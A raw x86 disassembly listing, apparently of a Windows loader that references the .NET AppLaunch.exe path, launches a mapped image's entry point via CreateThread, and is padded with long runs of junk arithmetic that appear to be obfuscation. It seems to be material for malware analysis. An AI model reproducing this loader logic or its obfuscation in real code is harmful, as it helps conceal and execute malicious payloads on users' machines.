add eax, 0x77
inc esi
not ebx
rol eax, 0x98
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x55b02]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.00404e70
mov eax, dword [ebp - 0x55a18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x55b03], al
test byte [ebp - 0x55b03], 1
je 0x4028f5
mov eax, dword [ebp - 0x55a88]
lea ecx, [ebp - 0x55b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401470
lea ecx, [ebp - 0x55b02]
mov eax, dword [ebp - 0x55a88]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x55b02]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x55a88]
mov word [eax], cx
neg edi
neg eax
sub esi, 0x5b
dec ebx
rol edi, 0x5b
imul edx
bswap eax
inc edi
mov ebx, 0xf
dec eax
sbb edi, 0xbc
inc edx
or esi, 0x1b
not ebx
rol esi, 0x9f
and eax, 0xb5
sbb ebx, 0xd0
dec edi
neg eax
ror esi, 0x70
rcl esi, 0x15
neg esi
rol edi, 0x46
bswap edx
rcl edi, 0xf7
imul edx
rcl edi, 0xe7
ror esi, 5
dec edx
sbb ebx, 0xae
rol edx, 0xbc
sub edi, 0xed
bswap esi
inc eax
or ebx, 0xd7
bswap eax
inc edi
rol ebx, 0xef
rcl eax, 0x2e
imul edi
and edx, 0x23
add edi, 0x62
neg edx
neg esi
imul esi
dec ebx
not esi
ror esi, 0x21
rcr edx, 0x23
not esi
mov edi, 0x33
dec eax
ror edi, 0x60
mov edx, 0x7b
rcl edi, 0x51
neg edi
or ebx, 0x52
mov edx, 0x20
rol edx, 0x16
sub eax, 0x1c
rcr edi, 0x85
inc edx
ror ebx, 0xec
bswap edi
not edx
rcl eax, 0x24
not edi
inc eax
dec edx
bswap eax
bswap edx
rcr edi, 0xfd
imul eax
and ebx, 0xe4
inc edx
bswap edi
or ebx, 0xa4
sbb edi, 0x33
bswap ebx
inc edi
rcl edx, 0xa4
rcr edx, 0xd7
dec edx
mov edi, 0x28
not ebx
and edx, 0x8f
ror edx, 0x55
inc edi
or ebx, 0xe9
inc ebx
ror edi, 0x31
ror esi, 0x3d
rol eax, 0x2b
not ebx
rol edi, 0xcd
imul eax
imul edi
inc ebx
sub ebx, 0xcd
add esi, 0x92
ror edx, 0x54
dec eax
rcr edx, 0x21
imul edx
mov ebx, 0xbd
mov edi, 0x10
bswap esi
add edx, 0x39
ror eax, 0x17
not ebx
inc edi
ror ebx, 0x9c
add edx, 0xb
imul edi
neg eax
sub ebx, 0x44
bswap edi
mov eax, 0x47
and eax, 0xff
sbb eax, 0xd1
rcr edi, 0x98
or edi, 0x8a
bswap ebx
dec edi
sbb esi, 0x99
add esi, 0x5b
sbb ebx, 0x45
or ebx, 0x7a
neg edx
mov esi, 0x1d
neg eax
dec ebx
and edi, 0x25
rol ebx, 0x57
not edx
dec eax
inc ebx
sbb ebx, 0xe4
imul esi
rcl edi, 0xa7
or edx, 0x9a
rcr ebx, 0xf9
imul eax
rcl edx, 0x65
ror ebx, 0x3f
rcr edi, 0xb8
mov edi, 0xd5
imul esi
add edx, 0xfa
imul eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x55b10], eax
test byte [ebp - 0x55b03], 1
je 0x402b2e
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x55a88]
lea eax, [ebp - 0x55b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401470
mov eax, dword [ebp - 0x55b10]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
and edx, 0x90
inc ebx
dec edi
add esi, 0x11
bswap ebx
imul edi
or ebx, 0xcf
sbb edi, 0xe8
bswap ebx
rol eax, 0x1b
bswap edx
inc ebx
rol esi, 0x83
rcr eax, 0x6c
sub edi, 0x20
dec edi
imul edi
rcr ebx, 0x7c
sub ebx, 0x24
inc esi
add edx, 0xb2
inc eax
bswap eax
rcr edx, 0xfa
and edx, 0x27
imul eax
inc eax
sbb ebx, 0xca
not esi
mov eax, 0x7d
dec esi
imul esi
neg eax
sub ebx, 0xd6
rcl edx, 0x13
and esi, 0x2a
dec ebx
sbb edx, 0xba
inc edx
or eax, 0x10
or edi, 0x5a
bswap eax
add esi, 0x29
dec edi
sbb ebx, 0x98
imul edi
neg esi
sub ebx, 0x56
add edx, 0xd3
dec edx
and edx, 0xb1
mov edi, 0x5b
mov edx, 0x12
rcl esi, 0x1c
sub ebx, 0x79
add esi, 0xb0
bswap eax
imul edx
or edx, 0xe
add edi, 0x76
not esi
dec eax
not esi
and edx, 0xb7
not esi
ror eax, 0x5f
sbb eax, 0x3a
ror eax, 0x45
inc esi
add edx, 0xfc
ror ebx, 0x49
add edx, 0x75
and edi, 8
add ebx, 0x55
inc eax
inc ebx
bswap esi
ror edi, 0x17
rol ebx, 0x94
rcl edx, 7
bswap esi
mov eax, 0x44
not edx
dec eax
rol edi, 0x19
sbb esi, 0x43
rcr eax, 0x47
rcr edx, 0x52
imul eax
add ebx, 0x6d
rcr edi, 9
bswap ebx
mov edx, 0x68
rcl eax, 7
sub edi, 6
imul edi
inc ebx
mov eax, 0xa9
inc eax
rcl edi, 0x13
mov edi, 0x35
sub eax, 0xaa
bswap edx
bswap esi
add edx, 0xe2
add eax, 0x6f
bswap ebx
neg edx
inc eax
mov eax, 0x4b
mov edx, 0x1e
and ebx, 0xa7
dec ebx
dec ebx
rol edi, 0x4e
neg esi
neg ebx
inc esi
ror esi, 0x51
rol edi, 0xc0
or ebx, 0x8f
imul edi
imul edx
mov edi, 0x98
rcl eax, 0x91
rcl edx, 0x27
sbb edx, 0x82
neg edi
inc eax
sub esi, 0x61
not edx
sbb ebx, 0x37
not edi
inc edi
bswap esi
dec ebx
rcr eax, 0x37
or edx, 0xc6
rol edx, 0
imul edx
mov esi, 0x30
and edi, 0x85
add esi, 0x18
dec ebx
sub ebx, 0xf8
rcl edi, 0xad
sbb eax, 0x8e
bswap esi
imul edx
ror edx, 0xb7
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x55b24
pop esi
pop edi
pop ebx
pop ebp
ret